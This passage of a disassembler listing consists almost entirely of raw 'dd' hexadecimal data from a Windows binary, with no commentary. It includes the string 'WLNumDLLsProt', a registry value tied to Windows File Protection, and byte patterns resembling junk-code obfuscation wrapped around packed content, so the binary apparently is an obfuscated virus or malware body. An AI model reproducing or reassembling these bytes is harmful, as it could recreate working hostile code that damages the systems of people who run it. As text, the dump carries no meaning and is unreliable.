5F7FCC12h, 604224E5h, 69226968h dd 12C0B3E1h, 8720F95Dh, 4A1C635h, 0D33FBA51h, 949D87BDh dd 41369E1Ah, 674A32B7h, 7871247Bh, 1D85B4F3h, 0F7439616h dd 19B5CC3Fh, 0D36DB650h, 9B9B85BDh, 5B369E19h, 7D572DB7h dd 646F2464h, 992AFEDh, 0C320FD18h, 19B1DB73h, 0D23FFB41h dd 8F9B90F3h, 5D2F9E0Fh, 73572CF8h, 2A64h, 48h dup(0) dd 0C56DDB06h, 919788A1h, 5C78CC18h, 7D4A3FB7h, 606A2465h dd 1582E0F3h, 0C16EF25Dh, 0EBADC3Ch, 0C838E815h, 9D9A80BDh dd 0F31D75Dh, 605024EEh, 727B7729h, 5E8DA5F4h, 0CB1E9132h dd 0FA7C836h, 0C838BA19h, 9E9586BFh, 0F2BD75Dh, 7F4A39F1h dd 6C676929h, 5099B2EFh, 872AF259h, 1EA7CC21h, 8639E854h dd 888186AAh, 402DCE5Dh, 7F4439F0h, 27h, 61h dup(0) dd 0CA24DC06h, 9597C9B6h, 5F2ACC0Fh, 33412EE3h, 69562427h dd 0C0B3E9h, 0D529F34Ah, 2F4C432h, 0C46DE954h, 0DA9A8CB6h dd 4631DF10h, 73493EE7h, 2166617Dh, 5084AEE1h, 0C537FD55h dd 3D9A336h, 863EBD41h, 9F9287BAh, 4B3ACA1Eh, 325C29B7h dd 68542468h, 5093B5F2h, 0C46EEE57h, 1B7C821h, 8663FE50h dd 899D8187h, 4336D85Dh, 7D526BF2h, 21762367h, 1B92AFF7h dd 0DE20FD18h, 0FA6C63Eh, 1Bh, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 dd 0E9000000h, 2C98h, 0FC56F780h, 8BD68B66h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 1A8AF75Fh, 94400AEAh, 958B63DDh, 5E719DDh, 0D79BD83h dd 750005E7h, 15BD8309h, 5E71Ch, 53501374h, 1B8C08Bh, 8D000000h dd 0E9A8D69Dh, 5BD3FF05h, 15BD8358h, 5E71Ch, 53501174h dd 1B8h, 879D8D00h, 0FF05E9A7h, 0F5585BD3h, 719D8B50h dd 5B05E717h, 25BD8589h, 0C08B05E7h, 3918529h, 0BD8305E7h dd 5E732DDh, 0A8840F00h, 60000001h, 172D8D8Bh, 0BF0F05E7h dd 0BD8361FFh, 5E7139Dh, 90840F00h, 60000001h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 85C35545h, 4AD7734Fh dd 3F22D243h, 2BAD958Bh, 858B05E7h, 5E7139Dh, 7E9h, 0CA63A00h dd 1252496Ch, 3E805h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 977456B5h, 0F33D422Ch dd 8A50F513h, 240489F5h, 858DD38Bh, 5E74DD9h, 145DB589h dd 509005E7h, 0E9525053h, 8, 0F6CBEA65h, 6F1EF8BCh, 0BA66310Fh dd 585ABEAEh, 0FE8A905Ah, 4DB7858Dh, 0E38105E7h, 6680DD0Eh dd 0D38B6690h, 0FDBA5050h, 5B1598A3h, 65B50990h, 0FF05E705h dd 0E7062995h, 75BB6605h, 0CC483C1h, 4DB7858Dh, 958B05E7h dd 5E704B9h, 0B8F0F90h, 0F000000h, 581h, 87C5BB00h, 0F5053ABh dd 0A89h, 52525000h, 57310F5Bh, 90585A5Bh, 0BD31D78Ah dd 5E72631h, 0B589026Ah, 5E71B29h, 0BE9h, 1E73E800h, 134C6230h dd 0A8871A79h, 857495FFh, 6A0068h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0DE1A66C3h, 0F3816646h dd 0BB66A0AAh, 6A618DB1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0D420C352h, 731728D4h dd 46D3803Fh, 19850F60h, 0E9000000h, 14h, 0F7528C9Ah, 8A5633A7h dd 0CFD9CB33h, 6FBC5B35h, 6D80A855h, 0BA18D89h, 0C76105E7h dd 0E74DEA85h, 105h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 24E36291h, 0F7E2DCDh dd 58Ah, 0F2816600h, 830FC6DEh, 6, 176D9D33h, 0E85005E7h dd 8, 0DA30A676h, 8D0C9DCEh, 0C56DBA66h, 2434895Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 93C35747h, 8BFBD09Fh dd 68F0Fh, 85310000h, 5E72451h, 4D9BB589h, 0F38005E7h dd 0F1BD834Bh, 105E707h, 36850Fh, 0D68B0000h, 0F05F883h dd 2B85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8AA72CEAh, 0B8D3h, 958B0000h, 5E71C31h dd 0B79BD83h, 0F0005E7h, 3184h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 6C82A419h dd 0B84667h, 60000000h, 7789C881h, 0D9805A50h, 6660619Ch dd 858BD38Bh, 5E70651h, 83D8BF0Fh, 12E902C0h, 0B5000000h dd 0A29061E3h, 0A97C2514h, 8A02186Fh, 28507F27h, 93858963h dd 6A05E74Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 4396C350h, 573F333Eh, 164E72A8h dd 11E9h, 71DD4200h, 0CFCE9C80h, 41B74BD0h, 0B863CCA8h dd 0C63594h, 8166F8FFh, 0C60481EAh, 0E707F985h, 9D015305h dd 5E71355h, 0FF7E668h, 8B5250FBh, 0F310FD3h, 683h, 830F00h dd 5A000000h, 24348158h, 7BEBF3Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 48C35545h, 5AF950D6h, 0B5FFEF9Eh dd 5E72DC5h, 28C0F57h, 8B000000h, 858D5BD7h, 5EA7963h dd 7A19589h, 0D0FF05E7h, 89D18B66h, 0E71A1D85h, 0D5958905h dd 8305E704h, 0E7261DBDh, 850F0105h, 0E9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8EC35040h, 645665C7h dd 0DE28BB66h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 5DED00D1h, 9EACF2F1h dd 85C6D18Bh, 5E707F9h, 57006A45h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0C78C68F7h, 3481C0F0h dd 90FF4E24h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 3B687724h, 0FFFC3DD5h, 0E72DC5B5h dd 0D3DB8105h, 8D3B77B5h, 0EA796385h, 8B665205h, 7E95ADAh dd 37000000h, 5029A651h, 0D0FFE1D2h, 8EE8BB66h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0AF94DAC3h, 0B70FD0FFh, 0DDBD83D2h, 105E700h, 0BA850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0A61C19C3h, 0CA81664Eh, 858BB0EFh, 5E70651h dd 89ABDA80h, 0E71A1195h, 45E905h, 0B5890000h, 5E701D1h dd 2840F50h, 8B000000h, 240489D0h, 13859D8Bh, 146A05E7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7EC35545h dd 1A1D95FFh, 0F9B205E7h, 359D8958h, 8005E720h, 850F0038h dd 0FFFFFFB8h, 58D0Fh, 5FBB0000h, 0C616258Bh, 6A0100h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 910E2CC3h, 0BC936BA0h, 0D68B66E7h, 0ED9D8B61h, 8305E706h dd 0E70775BDh, 840F0005h, 48h, 6850Fh, 8D290000h, 5E72CF1h dd 8166FF6Ah, 0FFCF0AC3h, 0E71A1D95h, 4C1EBB05h, 0E9E9217Ch dd 6AFFFFFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 4F2EC352h, 98C6702h, 659CEDD9h dd 77585C7h, 105E7h, 0F600000h, 48Bh, 66B86600h, 61E18A0Dh dd 4D9F8589h, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0CA4C0BC3h, 23C7ECF8h, 128C0Fh dd 0DE90000h, 0D2000000h, 301120D9h, 23B1979Fh, 15B4C4F6h dd 558D8B60h, 8B05E705h, 0E7011195h, 0F906105h, 487h, 0B2BA6600h dd 52505044h, 12E9h, 0E5468E00h, 766E5E50h, 28FC558Bh dd 0DA03216Fh, 0FE7919Fh, 0D47ABA31h, 585A2084h, 0D7B70F90h dd 29D1958Bh, 0BA6005E7h, 7677C95Bh, 9D8B056Ah, 5E72BADh dd 4DB7858Dh, 9D8B05E7h, 5E70C21h, 0BEBA6690h, 57B750FCh dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 94617F7Eh, 0B70F048Ch, 8DF48AD0h, 0E74DA785h dd 11950905h, 9005E71Bh, 9E8h, 0C4425D00h, 35A350C0h, 3CBBACD7h dd 5B155B30h, 14E850h, 15D40000h, 0A52955A6h, 3D5D921h dd 0E901416Eh, 73CD3A93h, 830F9EEDh, 3, 5BD68B66h, 1D958B90h dd 0FF05E732h, 0E7088195h, 4D9D8B05h, 8D05E72Ch, 0E77A388Dh dd 14E905h, 4230000h, 5DB30E3Eh, 28929EE7h, 60C65215h dd 680066EFh, 65B34A2Ah, 1174C00Bh, 4DB7858Dh, 0FF5005E7h dd 0D58589D1h, 0EB05E74Dh, 0D585C70Ah, 0FF05E74Dh, 6AFFFFFFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 1758C353h, 13445563h, 411BD31h dd 6A6105E7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 3B32C356h, 6BD222D7h, 0FC38A3E5h dd 7F985C6h, 0F4D05E7h, 38Ch, 59EB8000h, 6E321368h, 0FE994h dd 0D6B0000h, 0FB1039D0h, 0D59D81CBh, 47733F2Fh, 24348102h dd 305B44BBh, 0C5B5FFF9h, 6A05E703h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6137C357h dd 80D1365Ch, 8D297BE6h, 5E72F1Dh, 7963858Dh, 0B70F05EAh dd 6AD0FFD3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 5D94C355h, 0E835F612h, 0Ah, 7324397Ch dd 0D6AE591Ah, 0E960BE6Eh, 11h, 9E26FA9Ch, 683F5E83h, 73E9A133h dd 0C58AB8C9h, 0EE950h, 7C180000h, 3D6975D2h, 869E628h dd 7C0449E6h, 85895A61h, 5E70AA9h, 0F9D88B66h, 7F985C6h dd 8B4505E7h, 0E7248995h, 0A9DC6805h, 84B37602h, 8D240481h dd 6A186FBFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 9C42C353h, 28F70DF0h, 0DF80D4C0h dd 0C5B5FFAAh, 6A05E72Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0A273C352h, 0F5DBA25h dd 858DD1BFh, 5EA7963h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 9CC35343h, 0B7AF6654h, 0BB61BC75h, 0A3F8FCBAh dd 89D0FF65h, 0E70DF995h, 0D1858905h, 905E727h, 0E7213985h dd 6AD28B05h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0D40FC357h, 92CB8165h, 6620E2DDh dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0D24C13C3h, 8D9D8B65h, 8005E705h, 0C1F6CECBh dd 48840F04h, 31000002h, 0E72DD1BDh, 132E905h, 14E90000h dd 99000000h, 930283A2h, 97A71BE5h, 0C301DB49h, 9386EF00h dd 8BA0CDE9h, 0E72A59B5h, 0DBBF0F05h, 1180C681h, 860F0000h dd 0Ch, 68E0Fh, 0B5010000h, 5E70D15h, 0D4DBD83h, 0F0005E7h dd 3885h, 6E900h, 75D90000h, 0EEAD8B2Eh, 0B3E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 345D2E6Fh, 3BBDB0FDh, 0E28076A8h, 3E8325h, 82840Fh dd 9D8B0000h, 5E70ED1h, 959D8B60h, 6A05E701h, 57006A14h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 28C2A3E7h, 441502E5h, 66606053h, 512048BAh, 9D8B6159h dd 5E72475h, 28A0F61h, 8A000000h, 1D95FFF4h, 6105E71Ah dd 0FF9FE9F9h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 40D9B2C3h, 1245958Bh, 9D8B05E7h dd 5E72359h, 106C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 7085CDC3h, 7DF90D8Ah dd 4D9FBD83h, 0F0505E7h, 0FE85h, 499D2300h, 0E805E723h dd 0Bh, 7C550BADh, 2E4DEEF9h, 0F4EA313h, 8B5AD8B7h, 0E727D1B5h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 63943E6Ah, 4E4ABB66h, 64B9F18Ah, 80000000h dd 840FE83Eh, 0Eh, 0E9D2BF0Fh, 36h, 20FD9D8Bh, 7E8005E7h dd 840FC205h, 87h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 22C35242h, 8B6604CFh, 0B12DBBDEh, 50460262h dd 0FE9h, 0E2AA8300h, 0B788271Dh, 49A11354h, 48AA617Dh dd 850F495Ah, 0FFFFFF9Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 22C35646h, 7F34C727h, 28E94907h, 0E9000000h dd 0Fh, 0A36E7519h, 33712E7Bh, 0FC4DFF8h, 505979A0h, 0D49B529h dd 895B05E7h, 0E70C7DB5h, 0E5BD8905h, 5805E702h, 107EF80h dd 0E7064DB5h, 0A5BD8305h, 5E724h, 103840Fh, 60FC0000h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C6C35646h dd 87C613A3h, 0C6CB5C84h, 0E707F985h, 13E95405h, 2A000000h dd 0B7659E30h, 5089632Bh, 7ACA0672h, 0CF4EBD95h, 63681850h dd 66A679E9h, 819260BAh, 57972434h, 0B70F5937h, 0C5B5FFD9h dd 8905E72Dh, 0E72F5185h, 11E905h, 25BE0000h, 7CCBE80Eh dd 0F407C497h, 0B84B8361h, 8D3A9CACh, 0EA796385h, 0CD950905h dd 0FF05E726h, 0D98B66D0h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 63D40DC3h dd 840FF940h, 0Fh, 0E8F28B60h, 5, 8341E02Fh, 0FF61586Bh dd 0E724A5B5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0CA00F8BEh, 375958Bh dd 0B70F05E7h, 66D0FFDAh, 36E7E381h, 6880F61h, 1000000h dd 0E7257D8Dh, 1D85C705h, 105E721h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0A6EAC356h, 0CE9FCh, 3A180000h, 85748CE4h, 0E867031h dd 0D2812ACBh, 9979665h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9589BDFDh, 5E708BDh, 7D68DC8Ah dd 0B7F028CEh, 240481BAh, 0FD73203h, 22D1BD29h, 0FF6A05E7h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0BC35343h dd 340A06B2h, 958B75F0h, 5E704A1h, 218595FFh, 0BA6605E7h dd 6A613038h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 8C6CC350h, 75CC1A9Ch, 0FEBA6690h dd 616050F4h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 2E9FB1BBh, 8E9D50Dh, 12000000h, 5EECA1ECh dd 8B13B912h, 0E72C9185h, 3D958B05h, 0B05E725h, 7E840FC0h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 1499C357h, 4D9C156Ah, 13E8DC8Ah dd 0F5000000h, 2AA9D1EEh, 3BFA1F1h, 0DAD3D158h, 3C61978Fh dd 0EA81E062h, 6BCEDB48h, 0C595FF5Ah, 6A05E723h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 8D6CC353h, 6165386Ch, 66606002h, 1BFF5BFh, 0E719D1BDh dd 9D896105h, 5E70CC1h, 4985C761h, 105E727h, 81000000h dd 8FAEEEEAh, 83DF8B25h, 0E7006DBDh, 840F0005h, 13h, 6626B560h dd 0FF61CF8Bh, 0E726D995h, 0E2C38105h, 836B9400h, 0E70D71BDh dd 840F0005h, 0Eh, 26458D89h, 95FF05E7h, 5E713BDh, 0BD83DA8Ah dd 5E71389h, 72840F00h, 66000000h, 0BD83DA8Bh, 5E7157Dh dd 62850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0B749C356h, 0CD587F5Fh dd 12E9D099h, 3E000000h, 4F75B0A5h, 0ED02CD63h, 432C4657h dd 44D0624Ch, 0FD95FF2Ch, 6A05E726h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0DC69C357h dd 6102F9E8h, 0B1BD8341h, 5E72Bh, 3B840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 6554B1C3h, 81F961C5h, 0E713D585h, 400305h, 81C2B200h dd 0E70F2D85h, 400305h, 6ABA6600h, 6A310F9Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0C1D1C352h, 29C9B553h, 0E71F7DB5h, 0E28D8D05h, 0F05E75Dh dd 68Fh, 3D9D2B00h, 8905E703h, 53006A01h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8BD98B81h dd 6AC233D7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 60C5C356h, 0BB2858F4h, 0F95467DAh dd 0F044189h, 680h, 0A5958B00h, 0F05E70Dh, 0A1958931h dd 8D05E722h, 0E75DEE8Dh, 0BBE28105h, 600642C6h, 0BF7BF0Fh dd 0E7067195h, 1896105h, 316D9589h, 0C23305E7h, 2E918589h dd 418905E7h, 48C0F04h, 66000000h, 831DA9BBh, 0E70E11BDh dd 840F0005h, 1Ah, 301B589h, 95FF05E7h, 5E70E99h, 9E9h dd 0CE739800h, 5556AD4h, 0BD83A2C7h, 5E7093Dh, 60850F01h dd 0BA000000h, 6C6C630Dh, 56E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2AD2FB09h dd 1FEE5CCh, 0E72D6D9Dh, 3B58B05h, 0C705E75Fh, 6, 0FAB58B00h dd 0C705E75Ch, 6, 9503CF00h, 5E71765h, 0AE9h, 3D0BB500h dd 0D4ECB82h, 83ABCBF5h, 0E72749BDh, 840F0005h, 10Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 29C35141h, 80EDC6C9h dd 0CB8133DEh, 3CA61188h, 639BD83h, 0F0105E7h, 0B285h dd 8D8B6000h, 5E73199h, 25958B61h, 8B05E707h, 0E74D938Dh dd 959D8B05h, 0B605E712h, 1C666h, 257D9D01h, 816605E7h dd 6091B3EBh, 6879E780h, 5A4DC017h, 7E8h, 3C6A2500h, 26D72FBDh dd 0AE860h, 0C1E30000h, 6F2B636Dh, 0EAB4530Ah, 815A6159h dd 0C0972434h, 95295A4Dh, 5E727D5h, 0B70FFF6Ah, 13820FD9h dd 0E9000000h, 0Eh, 0ECBCEA3Ch, 848C14ABh, 803B15C3h, 95FF6806h dd 5E72185h, 0FE9h, 21318400h, 0F4825CADh, 33489B32h, 0E930EB01h dd 8D95FF61h, 2905E70Bh, 0E7083D9Dh, 938D8B05h, 6605E74Dh dd 0FE5F35BAh, 83DD8A01h, 0E71B15BDh, 850F0105h, 1Ah, 148F0Fh dd 0FE90000h, 0B2000000h, 73206B6Fh, 142ACA56h, 5ABC386Dh dd 0C08BBA83h, 2341958Bh, 0BD8305E7h, 5E70D79h, 83097500h dd 0E71C15BDh, 1A740005h, 0C08B5350h, 13D5858Bh, 858905E7h dd 5E713D5h, 0AA349D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E71C15h dd 50187400h, 0D5858B53h, 8905E713h, 0E713D585h, 239D8D05h dd 0FF05E9A7h, 66585BD3h, 0F707EBBh, 0D88h, 0B5096000h dd 5E701DDh, 5F3542BEh, 0C08B612Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 71C35040h, 53DBD29h, 0BD8305E7h dd 5E72749h, 18850F00h, 8B000000h, 0E72C2D9Dh, 35BD8305h dd 5E71Ch, 5840Fh, 81660000h, 83DF67E2h, 0E72749BDh, 840F0005h dd 3Ah, 2EAD9D8Bh, 9D8B05E7h, 5E725BDh, 0C15BD83h, 0F0005E7h dd 2184h, 7E800h, 0E1890000h, 0A78D0948h, 8E8E9h, 0F5FD0000h dd 80F5A03Bh, 8509BF70h, 5E72089h, 0BD835B5Ah, 5E72749h dd 18840F00h, 50000000h, 5BDE8B66h, 0C15BD83h, 0F0005E7h dd 684h, 0A1B50100h, 8305E72Ch, 0E72749BDh, 840F0005h dd 13h, 1CCD958Bh, 0BD8305E7h, 5E70519h, 840F00h, 83000000h dd 0E72749BDh, 840F0005h, 40h, 0E850006Ah, 3 dword_544450 dd 58C35820h, 4244489h, 4244481h, 16h, 83C35040h, 85896E2Ch ; DATA XREF: ___:off_43CCF4o dd 5E70F31h, 575BD83h, 0F0005E7h, 0F84h, 0DFBF0F00h, 59995FFh dd 0DA8105E7h, 232CDECAh, 958BC08Bh, 5E72CFDh, 0D79BD83h dd 750005E7h, 15BD8309h, 5E71Ch, 53501A74h, 858BC08Bh dd 5E70F2Dh, 0F2D8589h, 9D8D05E7h, 5E9AA9Bh, 585BD3FFh dd 1C15BD83h, 740005E7h, 8B535018h, 0E70F2D85h, 2D858905h dd 8D05E70Fh, 0E9A73C9Dh, 5BD3FF05h, 0A9BD8958h, 0F505E72Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4CC35545h dd 8FA9DC78h, 56C08BECh, 0D873E281h, 835B6ED5h, 0E72749BDh dd 840F0005h, 40Fh, 2DDB8166h, 1DBD83AFh, 205E726h, 1A840Fh dd 0D98A0000h, 93DBD83h, 0F0105E7h, 0B85h, 6E900h, 0EEEC0000h dd 7B2BAFAAh, 649BD83h, 0F0005E7h, 4784h, 0D1B52900h, 6005E703h dd 8B00C780h, 0E74D938Dh, 0FED88B05h, 85958B01h, 6805E72Ah dd 41B9EFA7h, 0F7D5BA66h, 27243481h, 6641B9EFh, 0F037F281h dd 9D89FF6Ah, 5E72A4Dh, 218595FFh, 958B05E7h, 5E701F9h dd 0DABF0F61h, 9D8B6060h, 5E72B49h, 229D8D89h, 8B6105E7h dd 0E74D938Dh, 95895305h, 5E71571h, 6601FE5Bh, 683335BBh dd 0CDE701ECh, 890Fh, 4810000h, 18FE9424h, 6ACAB732h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 7F1D2A2Dh, 7358D01h, 95FF05E7h, 5E72185h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CEC35242h, 0D07C3611h dd 0E950F71Eh, 14h, 4F943AA8h, 8A871C08h, 4A92E00Ah, 0C350A0B0h dd 74D74DC1h, 1D8D895Ah, 6105E732h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 94C35242h, 860D9980h, 0FB1BAC1h dd 9589DFB7h, 5E70CC9h, 13E5BD8Dh, 0B58905E7h, 5E71331h dd 8B1C4F8Bh, 0E715299Dh, 9E905h, 0D7D10000h, 2A16AE8h dd 6A210B79h, 0DDB58901h, 5005E715h, 5E960h, 0FBD30000h dd 0BE4171ACh, 3183BB96h, 240C8961h, 0DE9h, 918B5200h dd 9E6B7DBBh, 9E302A4Eh, 858DB765h, 5EA386Ch, 0DE8h, 0E8F51800h dd 0CDCB5798h, 99905E7Ah, 0B589983Dh, 5E7258Dh, 89D0FF5Ah dd 0E71AFDB5h, 204F8B05h, 4B2C68BAh, 0BA036A21h, 5AC763C5h dd 240C8950h, 0CE9h, 0EAF65100h, 7DE742FEh, 0A050E7FFh dd 6C858D30h, 8905EA38h, 0E731C58Dh, 8DD0FF05h, 0E713E5BDh dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0E45AFFFAh, 2739958Bh, 4F8B05E7h, 57006A1Ch dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0B2BB987Ch, 89605759h, 0E70C55B5h, 6A5A6105h, 11E801h dd 0F4390000h, 0ED3B2063h, 1F745EF6h, 14236FBAh, 0F807F6E4h dd 0DFBF0F5Ah, 0DA8B6650h, 6A240C89h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CB83C351h dd 6ABCE889h, 658D29h, 858D05E7h, 5EA386Ch, 177DBD89h dd 0D0FF05E7h, 859D8Bh, 4F8B05E7h, 65958B20h, 6A05E704h dd 50006A03h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0B6C89F3Bh, 502F8E64h, 11E8h, 2A2E9200h dd 5F2F7590h, 69586BA7h, 0C642971Ah, 895A8950h, 6A240Ch dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 8558C7C3h, 8B9C601Dh, 0E72E7595h, 6C858D05h, 2305EA38h dd 0E72A4D9Dh, 6AD0FF05h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 4D1CC350h, 0AC67E284h dd 0C18D893Dh, 8905E731h, 0E7014D8Dh, 0DFBF0F05h, 4D938D8Bh dd 958905E7h, 5E720E1h, 635B589h, 1FE05E7h, 6840Fh, 0C3810000h dd 4F0F8005h, 4D93858Bh, 8D8905E7h, 5E7204Dh, 8E900FEh dd 5F000000h, 0FBBCE79Bh, 6AD788C7h, 56006A01h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 39DDBAA5h dd 68D88BDBh, 81611481h, 0DD62C8BAh, 2404817Eh, 7E9E8B7Eh dd 8DD6B70Fh, 0EA387685h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 1246B5AEh dd 0B8E2E731h, 818D29FDh, 0FF05E70Dh, 0A4D281D0h, 83758A78h dd 0E71C35BDh, 840F0005h, 0C9h, 11E9h, 67C2B000h, 0CDB2B0CCh dd 0E2E3207Bh, 0B897909Ch, 6E96C58h, 0F4000000h, 236D813Bh dd 0F1BD8312h, 105E707h, 9B850Fh, 0BB660000h, 8D8D9DEDh dd 5EA3880h, 3399D8Bh, 0DC8A05E7h, 6A036Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 530A6FC3h dd 8184EAB4h, 0F287B0D3h, 0BA016A08h, 4CA5C539h, 6AD1FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 5B9496C3h, 16A64BDh, 0C759D0Bh, 10E805E7h, 8B000000h dd 41B53B88h, 0DC6D70BEh, 0EC69220Ch, 8B8A7766h, 0E704D595h dd 16A5B05h, 0DEDB589h, 0D1FF05E7h, 5E0FE8F9h, 0B70FFA74h dd 6A206AD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 144BC357h, 0C89863ECh, 0FF6A89B9h dd 0FFBAF780h, 0E7218595h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B8D767h, 60000000h dd 1C118523h, 61F805E7h, 840FC00Bh, 21h, 83C5E780h, 0E702C5BDh dd 840F0005h, 11h, 7499D0Bh, 95FF05E7h, 5E7318Dh, 0C5D38166h dd 51858B40h, 6A05E706h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0E009C350h, 9281069Bh dd 0DC943161h, 3B0AF381h, 0C649D2h, 0DEBF0F00h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 9A5412Ah, 81069BE0h, 9D896192h, 5E72635h, 8BD98C66h dd 0E705B195h, 0ED958905h, 0F605E721h, 840F04C1h, 64h dd 2ED19D23h, 59E905E7h, 0F000000h, 68Dh, 299D8B00h, 8B05E722h dd 0E72A59B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 91BEF017h, 7941BA66h dd 68F0Fh, 9D290000h, 5E722C9h, 1180C681h, 9D0B0000h, 5E72A65h dd 6C7h, 